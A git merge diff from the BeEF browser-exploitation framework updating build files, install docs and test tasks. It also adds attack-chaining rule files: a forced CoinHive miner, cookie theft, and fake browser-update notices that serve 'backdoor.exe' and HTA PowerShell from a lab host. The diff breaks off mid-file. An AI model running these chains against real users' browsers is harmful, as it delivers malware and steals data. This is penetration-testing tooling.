Merge branch 'activerecord'

Tests for the linear run

.github/ISSUE_TEMPLATE.md

@@ -0,0 +1,49 @@
+Verify first that your issue/request has not been posted previously:
+
+* https://github.com/beefproject/beef/issues
+* https://github.com/beefproject/beef/wiki/FAQ
+
+Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/beef-0.4.7.2).
+
+
+#### Environment
+
+What version/revision of BeEF are you using?
+
+On what version of Ruby?
+
+On what browser?
+
+On what operating system?
+
+
+#### Configuration
+
+Are you using a non-default configuration?
+
+Have you enabled or disabled any BeEF extensions?
+
+
+#### Summary
+
+Please provide a summary of the issue.
+
+
+#### Expected Behaviour
+
+What was the expected result?
+
+
+#### Actual Behaviour
+
+What was the actual result?
+
+
+#### Steps to Reproduce
+
+Please provide steps to reproduce this issue.
+
+
+#### Additional Information
+
+Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be enabled by specifying `debug: true` in the `config.yaml` configuration file.

.gitignore

@@ -1,8 +1,112 @@
+### BeEF ###
 beef.db
+beef.log
 test/msf-test
+extensions/admin_ui/media/javascript-min/
 custom-config.yaml
 .DS_Store
 .gitignore
 .rvmrc
+beef.log
 
 *.lock
+
+extensions/metasploit/msf-exploits.cache
+
+# ruby debugging
+.byebug_history
+
+
+# The following lines were created by https://www.gitignore.io
+
+### Linux ###
+*~
+
+# KDE directory preferences
+.directory
+
+
+### vim ###
+[._]*.s[a-w][a-z]
+[._]s[a-w][a-z]
+*.un~
+Session.vim
+.netrwhist
+*~
+
+
+### Emacs ###
+# -*- mode: gitignore; -*-
+*~
+\#*\#
+/.emacs.desktop
+/.emacs.desktop.lock
+*.elc
+auto-save-list
+tramp
+.\#*
+
+# Org-mode
+.org-id-locations
+*_archive
+
+# flymake-mode
+*_flymake.*
+
+# eshell files
+/eshell/history
+/eshell/lastdir
+
+# elpa packages
+/elpa/
+
+# reftex files
+*.rel
+
+# AUCTeX auto folder
+/auto/
+
+# cask packages
+.cask/
+
+
+### nanoc ###
+# For projects using nanoc (http://nanoc.ws/)
+
+# Default location for output, needs to match output_dir's value found in config.yaml
+output/
+
+# Temporary file directory
+tmp/
+
+# Crash Log
+crash.log
+
+
+### Windows ###
+# Windows image file caches
+Thumbs.db
+ehthumbs.db
+
+# Folder config file
+Desktop.ini
+
+# Recycle Bin used on file shares
+$RECYCLE.BIN/
+
+# Windows Installer files
+*.cab
+*.msi
+*.msm
+*.msp
+
+# Windows shortcuts
+*.lnk
+
+
+### TortoiseGit ###
+# Project-level settings
+/.tgitconfig
+
+test/thirdparty/msf/unit/.byebug_history
+/load

.rspec

@@ -0,0 +1,4 @@
+--format documentation
+--color
+--require spec_helper
+-I .

.rubocop.yml

@@ -0,0 +1,24 @@
+AllCops:
+  Exclude:
+    - 'test/**/*'
+    - 'tmp/**/*'
+    - 'tools/**/*'
+    - 'doc/**/*'
+  TargetRubyVersion: 2.4
+
+Metrics/AbcSize:
+  Enabled: false
+Metrics/BlockLength:
+  Enabled: false
+Metrics/ClassLength:
+  Enabled: false
+Metrics/LineLength:
+  Enabled: false
+Metrics/MethodLength:
+  Enabled: false
+Metrics/PerceivedComplexity:
+  Enabled: false
+Metrics/CyclomaticComplexity:
+  Enabled: false
+Style/FrozenStringLiteralComment:
+  Enabled: false

.ruby-gemset

@@ -0,0 +1 @@
+beef

.ruby-version

@@ -0,0 +1 @@
+2.5.3

.travis.yml

@@ -0,0 +1,22 @@
+language: ruby
+rvm:
+  - 2.4.0
+  - 2.5.3
+  - 2.6.0
+notifications:
+  email:
+    recipients:
+      - wade@bindshell.net
+    on_success: always
+    on_failure: always
+addons:
+  apt:
+    packages:
+      - libsqlite3-dev
+      - build-essential
+      - patch
+      - ruby-dev
+      - zlib1g-dev
+      - liblzma-dev
+      - libcurl4-openssl-dev
+

BeEFLive.sh

@@ -1,2 +0,0 @@
-# Reference for old (<1.2) versions of BeEF Live
-bash /opt/beef/liveCD/BeEFLive.sh

Gemfile

@@ -1,50 +1,86 @@
 # BeEF's Gemfile
 
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
 
-# Gems only required on Windows, or with specific Windows issues
-if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
-  gem "win32console"
+gem 'eventmachine'
+gem 'thin'
+gem 'sinatra'
+gem 'rack'
+gem 'rack-protection'
+gem 'em-websocket' # WebSocket support
+gem 'uglifier'
+gem 'mime-types'
+gem 'execjs'
+gem 'ansi'
+gem 'term-ansicolor', :require => 'term/ansicolor'
+gem 'json'
+gem 'rubyzip', '>= 1.2.2'
+gem 'espeak-ruby', '>= 1.0.4' # Text-to-Voice
+gem 'nokogiri', '>= 1.10.4'
+gem 'rake'
+
+gem 'otr-activerecord'
+gem 'sqlite3'
+
+# Geolocation support
+group :geoip do
+  gem 'maxmind-db'
 end
 
-gem "eventmachine", "1.0.3"
-gem "thin"
-gem "sinatra", "1.4.2"
-gem "rack", "1.5.2"
-gem "em-websocket", "~> 0.3.6"
-gem "jsmin", "~> 1.0.1"
-gem "ansi"
-gem "term-ansicolor", :require => "term/ansicolor"
-gem "dm-core"
-gem "json"
-gem "data_objects"
-gem "dm-sqlite-adapter"
-gem "parseconfig"
-gem "erubis"
-gem "dm-migrations"
-gem "msfrpc-client"
+gem 'parseconfig'
+gem 'erubis'
 
-# notifications
-gem "twitter"
-
-if ENV['BEEF_TEST']
-# for running unit tests
-  gem "test-unit"
-  gem "test-unit-full"
-  gem "curb"
-  gem "test-unit"
-  gem "selenium"
-  gem "selenium-webdriver"
-  # nokogirl is needed by capybara which may require one of the below commands
-  # sudo apt-get install libxslt-dev libxml2-dev
-  # sudo port install libxml2 libxslt
-  gem "capybara"
-  #RESTful API tests/generic command module tests
-  gem "rest-client", "~> 1.6.7"
+# Metasploit Integration extension
+group :ext_msf do
+  gem 'msfrpc-client'
+  gem 'xmlrpc'
 end
 
-source "http://rubygems.org"
+# Notifications extension
+group :ext_notifications do
+  # Pushover
+  gem 'rushover'
+  # Slack
+  gem 'slack-notifier'
+  # Twitter
+  gem 'twitter', '>= 5.0.0'
+end
+
+# DNS extension
+group :ext_dns do
+  gem 'rubydns', '~> 0.7.3'
+end
+
+# QRcode extension
+group :ext_qrcode do
+  gem 'qr4r'
+end
+
+# For running unit tests
+group :test do
+    gem 'test-unit'
+    gem 'test-unit-full'
+    gem 'rspec'
+	gem 'rdoc'
+    # curb gem requires curl libraries
+    # sudo apt-get install libcurl4-openssl-dev
+    gem 'curb'
+    # selenium-webdriver 3.x is incompatible with Firefox version 48 and prior
+    # gem 'selenium' # Requires old version of selenium which is no longer available
+    gem 'geckodriver-helper'
+    gem 'selenium-webdriver'
+    # nokogirl is needed by capybara which may require one of the below commands
+    # sudo apt-get install libxslt-dev libxml2-dev
+    # sudo port install libxml2 libxslt
+    gem 'capybara'
+    # RESTful API tests/generic command module tests
+    gem 'rest-client', '>= 2.0.1'
+    gem 'irb'
+    gem 'pry-byebug'
+end
+
+source 'https://rubygems.org'

INSTALL.txt

@@ -1,71 +1,71 @@
 ===============================================================================
    
-    Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+    Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
     Browser Exploitation Framework (BeEF) - http://beefproject.com
     See the file 'doc/COPYING' for copying permission
 
 ===============================================================================
 
+Source
+------
+
+Obtain application source code either by downloading the latest archive:
+
+  $ wget https://github.com/beefproject/beef/archive/master.zip
+
+Or cloning the Git repository from Github:
+
+  $ git clone https://github.com/beefproject/beef
+
+
+Prerequisites
+--------------
+
+BeEF requires Ruby 2.4+.
+
+If your operating system package manager does not support Ruby version 2.4,
+you can add the brightbox ppa repository for the latest version of Ruby:
+
+  $ sudo apt-add-repository -y ppa:brightbox/ruby-ng
+
+Alternatively, consider using a Ruby environment manager such as rbenv or rvm
+to manager your Ruby versions. Refer to the following for more information:
+
+  * rbenv: https://github.com/rbenv/rbenv
+  * rvm: https://rvm.io/rvm/install
+
+
 Installation
 ------------
 
-   1. Prerequisites (platform independent)
-   2. Prerequisites (Windows)
-   3. Prerequisites (Linux)
-   4. Prerequisites (Mac OSX)
-   5. Install instructions
-   6. Run instructions
+Once Ruby is installed, run the install script in the BeEF directory:
+
+  ./install
+
+This script installs the required operating system packages and all the
+prerequisite Ruby gems.
+
+Upon successful installation, be sure to read the Configuration page
+on the wiki for important details on configuring and securing BeEF.
+
+  https://github.com/beefproject/beef/wiki/Configuration
 
 
+Start BeEF
+----------
 
-   1. Prerequisites (platform independent)
+To start BeEF, simply run:
 
-      BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
+  $ ./beef
 
-      gem install bundler
 
-      
-   2. Prerequisites (Windows)
-      
-      Windows requires the sqlite.dll.  Simply grab the zip file below and extract it to your Ruby bin directory:
+Updating
+--------
 
-	  http://www.sqlite.org/sqlitedll-3_7_0_1.zip
-      
+Due to the fast-paced nature of web browser development and webappsec landscape,
+it's best to regularly update BeEF to the latest version.
 
-   3. Prerequisites (Linux)
+If you're using BeEF from the GitHub repository, updating is as simple as:
 
-      !!! This must be done PRIOR to running the bundle install command !!!
-      
-      On linux you will need to find the packages specific to your distribution for sqlite.  An example for Ubuntu systems is:
+  $ git pull
 
-      3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
-      3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
-      3.2. rvm install 1.9.2
-      3.3. rvm use 1.9.2
-	  
-   4. Prerequisites (Mac OSX)
-   
-      - XCode: provides the sqlite support BeEF needs
-      
-      - Ruby 1.9
-      	To install RVM and Ruby 1.9.3 on Mac OS:  
-      	$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile 
-      	$ rvm install 1.9.3-p0 --with-gcc=clang
-		$ rvm use 1.9.3
-      
-
-   5. Install instructions
-   
-      Obtain application code either by downloading an archive from https://github.com/beefproject/beef/zipball/master or cloning the GIT repo git@github.com:beefproject/beef.git
-
-	  Navigate to the ruby source directory and run:
-
-	  bundle install
-
-      Bundler installs all the pre-requisite gems.
-
-   6. Run instructions
-
-      Simply run:
-
-      ./beef

README

@@ -1,74 +0,0 @@
-===============================================================================
-   
-    Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
-    Browser Exploitation Framework (BeEF) - http://beefproject.com
-    See the file 'doc/COPYING' for copying permission
-
-===============================================================================
-
-What is BeEF?
--------------
-
-BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
-
-Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
-
-
-Get Involved 
-------------
-
-You can get in touch with the BeEF team. Just check out the following: 
-
-
-Please, send us pull requests!
-
-Web: http://beefproject.com/
-
-Mail: beef-subscribe@bindshell.net
-
-IRC: ircs://irc.freenode.net/beefproject
-
-Twitter: @beefproject
-
-
-Requirements
-------------
-
-* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
-* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
-* [SQLite](http://sqlite.org) 3.x
-* The following GEMS: 
-   - bundler 
-   - thin
-   - Sinatra 
-   - ANSI 
-   - TERM-ANSIcolor 
-   - dm-core 
-   - json 
-   - data_objects 
-   - dm-sqlite-adapter 
-   - parseconfig 
-   - erubis 
-   - dm-migrations 
-   - msfrpc-client 
-   - eventmachine
-   - win32console (Windows Only)
-
-
-Quick Start
------------ 
-
-__The following is for the impatient.__ 
-
-For full installation details (including on Microsoft Windows), please refer to INSTALL.txt. 
-
-   $ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
-
-
-Usage 
------ 
-
-To get started, simply execute beef and follow the instrustions: 
-
-   $ ./beef
-

README.md

@@ -1,6 +1,6 @@
 ===============================================================================
-   
-    Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+
+    Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
     Browser Exploitation Framework (BeEF) - http://beefproject.com
     See the file 'doc/COPYING' for copying permission
 
@@ -14,17 +14,19 @@ __BeEF__ is short for __The Browser Exploitation Framework__. It is a penetratio
 Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
 
 
-Get Involved 
+Get Involved
 ------------
 
-You can get in touch with the BeEF team. Just check out the following: 
+You can get in touch with the BeEF team. Just check out the following:
 
 
 __Please, send us pull requests!__
 
-__Web:__ http://beefproject.com/
+__Web:__ https://beefproject.com/
 
-__Mail:__ beef-subscribe@bindshell.net
+__Bugs:__ https://github.com/beefproject/beef/issues
+
+__Security Bugs:__ security@beefproject.com
 
 __IRC:__ ircs://irc.freenode.net/beefproject
 
@@ -34,41 +36,37 @@ __Twitter:__ @beefproject
 Requirements
 ------------
 
-* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
-* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
-* [SQLite](http://sqlite.org) 3.x
-* The following GEMS: 
-   - bundler 
-   - thin
-   - Sinatra 
-   - ANSI 
-   - TERM-ANSIcolor 
-   - dm-core 
-   - json 
-   - data_objects 
-   - dm-sqlite-adapter 
-   - parseconfig 
-   - erubis 
-   - dm-migrations 
-   - msfrpc-client 
-   - eventmachine
-   - win32console (Windows Only)
+* Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
+* [Ruby](http://ruby-lang.org): 2.4 or newer
+* [SQLite](http://sqlite.org): 3.x
+* [Node.js](https://nodejs.org): 6 or newer
+* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
+* Selenium is required on OSX: brew install selenium-server-standalone (See https://github.com/shvets/selenium)
 
 
 Quick Start
------------ 
+-----------
 
-__The following is for the impatient.__ 
+__The following is for the impatient.__
 
-For full installation details (including on Microsoft Windows), please refer to INSTALL.txt. 
+The `install` script installs the required operating system packages and all the prerequisite Ruby gems:
 
-       $ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
+```
+$ ./install
+```
+
+For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt).
+
+We also have an [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
+
+Upon successful installation, be sure to read the [Configuration](https://github.com/beefproject/beef/wiki/Configuration) page on the wiki for important details on configuring and securing BeEF.
 
 
-Usage 
------ 
+Usage
+-----
 
-To get started, simply execute beef and follow the instructions: 
-
-       $ ./beef
+To get started, simply execute beef and follow the instructions:
 
+```
+$ ./beef
+```

Rakefile

@@ -1,53 +1,85 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
+require 'yaml'
+require 'bundler/setup'
+load 'tasks/otr-activerecord.rake'
+#require 'pry-byebug'
 
-task :default => ["quick"]
 
-desc "Run quick tests"
-task :quick do
-  Rake::Task['unit'].invoke                 # run unit tests
+task :default => ["spec"]
+
+desc 'Generate API documentation to doc/rdocs/index.html'
+task :rdoc do
+  Rake::Task['rdoc:rerdoc'].invoke
 end
 
-desc "Run all tests"
-task :all do
-  Rake::Task['integration'].invoke          # run integration tests
-  Rake::Task['unit'].invoke                 # run unit tests
-  Rake::Task['msf'].invoke                  # run msf tests
+## RSPEC
+require 'rspec/core/rake_task'
+RSpec::Core::RakeTask.new(:spec)
+
+
+
+
+################################
+# SSL/TLS certificate
+
+namespace :ssl do
+  desc 'Create a new SSL certificate'
+  task :create do
+    if File.file?('beef_key.pem')
+      puts 'Certificate already exists. Replace? [Y/n]'
+      confirm = STDIN.getch.chomp
+      unless confirm.eql?('') || confirm.downcase.eql?('y')
+        puts "Aborted"
+        exit 1
+      end
+    end
+    Rake::Task['ssl:replace'].invoke
+  end
+
+  desc 'Re-generate SSL certificate'
+  task :replace do
+    if File.file?('/usr/local/bin/openssl')
+      path = '/usr/local/bin/openssl'
+    elsif File.file?('/usr/bin/openssl')
+      path = '/usr/bin/openssl'
+    else
+      puts "[-] Error: could not find openssl"
+      exit 1
+    end
+    IO.popen([path, 'req', '-new', '-newkey', 'rsa:4096', '-sha256', '-x509', '-days', '3650', '-nodes', '-out', 'beef_cert.pem', '-keyout', 'beef_key.pem', '-subj', '/CN=localhost'], 'r+').read.to_s
+  end
 end
 
-desc "Run automated tests (for Jenkins)"
-task :automated do
-  Rake::Task['xserver_start'].invoke
-  Rake::Task['all'].invoke
-  Rake::Task['xserver_stop'].invoke
+################################
+# rdoc
+
+namespace :rdoc do
+  require 'rdoc/task'
+
+  desc 'Generate API documentation to doc/rdocs/index.html'
+  Rake::RDocTask.new do |rd|
+    rd.rdoc_dir = 'doc/rdocs'
+    rd.main = 'README.mkd'
+    rd.rdoc_files.include('core/**/*\.rb')
+      #'extensions/**/*\.rb'
+      #'modules/**/*\.rb'
+    rd.options << '--line-numbers'
+    rd.options << '--all'
+  end
 end
 
-desc "Run integration unit tests"
-task :integration => ["install"] do
-  Rake::Task['beef_start'].invoke
-  sh "export DISPLAY=:0; cd test/integration;ruby -W0 ts_integration.rb"
-  Rake::Task['beef_stop'].invoke
-end
 
-desc "Run integration unit tests"
-task :unit => ["install"] do
-  sh "cd test/unit;ruby -W0 ts_unit.rb"
-end
+################################
+# Install
 
-desc "Run MSF unit tests"
-task :msf => ["install", "msf_install"]  do
-  Rake::Task['msf_update'].invoke
-  Rake::Task['msf_start'].invoke
-  sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb"
-  Rake::Task['msf_stop'].invoke
-end
+#task :install do
+#  sh "export BEEF_TEST=true"
+#end
 
-task :install do
-  sh "export BEEF_TEST=true;bundle install"
-end
 
 ################################
 # X11 set up
@@ -57,7 +89,7 @@ end
 task :xserver_start do
   printf "Starting X11 Server (wait 10 seconds)..."
   @xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+")
-  delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
+  delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
   delays.each do |i| # delay for 10 seconds
     printf '.'
     sleep (i) # increase the . display rate
@@ -67,28 +99,54 @@ end
 
 task :xserver_stop do
   puts "\nShutting down X11 Server...\n"
-  sh "ps -ef|grep Xvfb|grep -v grep|awk '{print $2}'|xargs kill"
+  sh "ps -ef|grep Xvfb|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill"
 end
 
 ################################
 # BeEF environment set up
 
 @beef_process_id = nil;
+@beef_config_file = 'tmp/rk_beef_conf.yaml';
+
 
 task :beef_start => 'beef' do
+  # read environment param for creds or use bad_fred
+  test_user = ENV['TEST_BEEF_USER'] || 'bad_fred'
+  test_pass = ENV['TEST_BEEF_PASS'] || 'bad_fred_no_access'
+
+  # write a rake config file for beef
+  config = YAML.load(File.read('./config.yaml'))
+  config['beef']['credentials']['user'] = test_user
+  config['beef']['credentials']['passwd'] = test_pass
+  Dir.mkdir('tmp') unless Dir.exists?('tmp')
+  File.open(@beef_config_file, 'w') { |f| YAML.dump(config, f) }
+
+  # set the environment creds -- in case we're using bad_fred
+  ENV['TEST_BEEF_USER'] = test_user
+  ENV['TEST_BEEF_PASS'] = test_pass
+  config = nil
+  puts "Using config file: #{@beef_config_file}\n"
+
   printf "Starting BeEF (wait a few seconds)..."
-  @beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+")
-  delays = [3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
+  @beef_process_id = IO.popen("ruby ./beef -c #{@beef_config_file} -x 2> /dev/null", "w+")
+  delays = [5, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1]
   delays.each do |i| # delay for a few seconds
     printf '.'
     sleep (i)
   end
-  puts '.'
+  puts ".\n\n"
 end
 
 task :beef_stop do
-  puts "\nShutting down BeEF...\n"
-  sh "ps -ef|grep beef|grep -v grep|awk '{print $2}'|xargs kill"
+  # cleanup tmp/config files
+  puts "\nCleanup config file:\n"
+  rm_f @beef_config_file
+  ENV['TEST_BEEF_USER'] = nil
+  ENV['TEST_BEEF_PASS'] = nil
+
+  # shutting down
+  puts "Shutting down BeEF...\n"
+  sh "ps -ef|grep beef|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill"
 end
 
 ################################
@@ -99,7 +157,7 @@ end
 task :msf_start => '/tmp/msf-test/msfconsole' do
   printf "Starting MSF (wait 45 seconds)..."
   @msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+")
-  delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
+  delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
   delays.each do |i| # delay for 45 seconds
     printf '.'
     sleep (i) # increase the . display rate
@@ -116,7 +174,7 @@ task :msf_install => '/tmp/msf-test/msfconsole' do
   # Handled by the 'test/msf-test/msfconsole' task.
 end
 
-task :msf_update  => '/tmp/msf-test/msfconsole' do
+task :msf_update => '/tmp/msf-test/msfconsole' do
   sh "cd /tmp/msf-test;git pull"
 end
 
@@ -145,7 +203,7 @@ end
 
 ################################
 # Create CDE Package
-# This will download and make the CDE Executable and 
+# This will download and make the CDE Executable and
 # gnereate a CDE Package in cde-package
 
 task :cde do
@@ -159,10 +217,10 @@ task :cde do
   Rake::Task['cde_beef_start'].invoke
   Rake::Task['beef_stop'].invoke
   puts "\nCleaning Up...\n";
-  sleep (2);	
+  sleep (2);
   sh "rm -rf CDE";
   puts "\nCDE Package Created...\n";
- end
+end
 
 ################################
 # CDE/BeEF environment set up
@@ -172,7 +230,7 @@ task :cde do
 task :cde_beef_start => 'beef' do
   printf "Starting CDE BeEF (wait 10 seconds)..."
   @beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+")
-  delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
+  delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
   delays.each do |i| # delay for 10 seconds
     printf '.'
     sleep (i)
@@ -180,7 +238,10 @@ task :cde_beef_start => 'beef' do
   puts '.'
 end
 
-
 ################################
-
-
+# ActiveRecord
+namespace :db do
+  task :environment do
+    require_relative "beef"
+  end
+end

VERSION

@@ -1,7 +1,7 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
 
-0.4.4.6-alpha
+0.4.7.4-alpha-pre

arerules/alert.json

@@ -0,0 +1,18 @@
+{"name": "Display an alert",
+  "author": "mgeeky",
+  "browser": "ALL",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "alert_dialog",
+      "condition": null,
+      "options": {
+        "text":"You've been BeEFed ;>"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/c_osx_test-return-mods.json

@@ -0,0 +1,35 @@
+{
+  "name": "Test return debug stuff",
+  "author": "antisnatchor",
+  "browser": "S",
+  "browser_version": ">= 7",
+  "os": "OSX",
+  "os_version": "<= 10.10",
+  "modules": [{
+    "name": "test_return_ascii_chars",
+    "condition": null,
+    "options": {}
+  }, {
+    "name": "test_return_long_string",
+    "condition": "status==1",
+    "code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';",
+    "options": {
+      "repeat": "10",
+      "repeat_string": "<<mod_input>>"
+    }
+  },
+    {
+      "name": "alert_dialog",
+      "condition": "status=1",
+      "code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';",
+      "options":{"text":"<<mod_input>>"}
+    },
+   {
+    "name": "get_page_html",
+    "condition": null,
+    "options": {}
+  }],
+  "execution_order": [0, 1, 2, 3],
+  "execution_delay": [0, 0, 0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/coinhive_miner.json

@@ -0,0 +1,20 @@
+{"name": "Start CoinHive JavaScript miner",
+  "author": "bcoles",
+  "browser": "ALL",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "coinhive_miner",
+      "condition": null,
+      "options": {
+        "public_token":"Ofh5MIvjuCBDqwJ9TCTio7TYko0ig5TV",
+        "mode":"FORCE_EXCLUSIVE_TAB",
+        "mobile_enabled":""
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/confirm_close_tab.json

@@ -0,0 +1,20 @@
+{"name": "Confirm Close Tab",
+  "author": "mgeeky",
+  "browser": "ALL",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "confirm_close_tab",
+      "condition": null,
+      "code": null,
+      "options": {
+        "text":"Are you sure you want to navigate away from this page?",
+        "usePopUnder":"true"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/enabled/README

@@ -0,0 +1,2 @@
+Move here the ARE rule files that you want to pre-load when BeEF starts.
+Make sure they are .json files (any other file extension is ignored).

arerules/ff_osx_extension-dropper.json

@@ -0,0 +1,20 @@
+{
+  "name": "Firefox Extension Dropper",
+  "author": "antisnatchor",
+  "browser": "FF",
+  "browser_version": "ALL",
+  "os": "OSX",
+  "os_version": ">= 10.8",
+  "modules": [{
+    "name": "firefox_extension_dropper",
+    "condition": null,
+    "options": {
+      "extension_name": "Ummeneske",
+      "xpi_name": "Ummeneske",
+      "base_host": "http://172.16.45.1:3000"
+    }
+  }],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/get_cookie.json

@@ -0,0 +1,18 @@
+{
+  "name": "Get Cookie",
+  "author": "@benichmt1",
+  "browser": "ALL",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "get_cookie",
+      "condition": null,
+      "options": {
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/ie_win_fakenotification-clippy.json

@@ -0,0 +1,31 @@
+{
+  "name": "Ie Fake Notification + Clippy",
+  "author": "antisnatchor",
+  "browser": "IE",
+  "browser_version": "== 11",
+  "os": "Windows",
+  "os_version": ">= 7",
+  "modules": [
+    {
+      "name": "fake_notification",
+      "condition": null,
+      "options": {
+        "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
+      }
+    }
+  ,{
+      "name": "clippy",
+      "condition": null,
+      "options": {
+        "clippydir": "http://172.16.45.1:3000/clippy/",
+        "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
+        "executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
+        "respawntime":"5000",
+        "thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
+      }
+    }
+  ],
+  "execution_order": [0,1],
+  "execution_delay": [0,2000],
+  "chain_mode": "sequential"
+}

arerules/ie_win_htapowershell.json

@@ -0,0 +1,27 @@
+{
+  "name": "HTA PowerShell",
+  "author": "antisnatchor",
+  "browser": "IE",
+  "browser_version": "ALL",
+  "os": "Windows",
+  "os_version": ">= 7",
+  "modules": [
+    {
+      "name": "fake_notification",
+      "condition": null,
+      "options": {
+        "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
+      }
+    },
+    {
+      "name": "hta_powershell",
+      "condition": null,
+      "options": {
+        "domain":"http://172.16.45.1:3000",
+        "ps_url":"/ps"
+      }
+    }],
+  "execution_order": [0,1],
+  "execution_delay": [0,500],
+  "chain_mode": "sequential"
+}

arerules/ie_win_missingflash-prettytheft.json

@@ -0,0 +1,27 @@
+{
+  "name": "Fake missing plugin + Pretty Theft LinkedIn",
+  "author": "antisnatchor",
+  "browser": "IE",
+  "browser_version": ">= 8",
+  "os": "Windows",
+  "os_version": "== XP",
+  "modules": [{
+    "name": "fake_notification_c",
+    "condition": null,
+    "options": {
+      "url": "http://172.16.45.1:3000/updates/backdoor.exe",
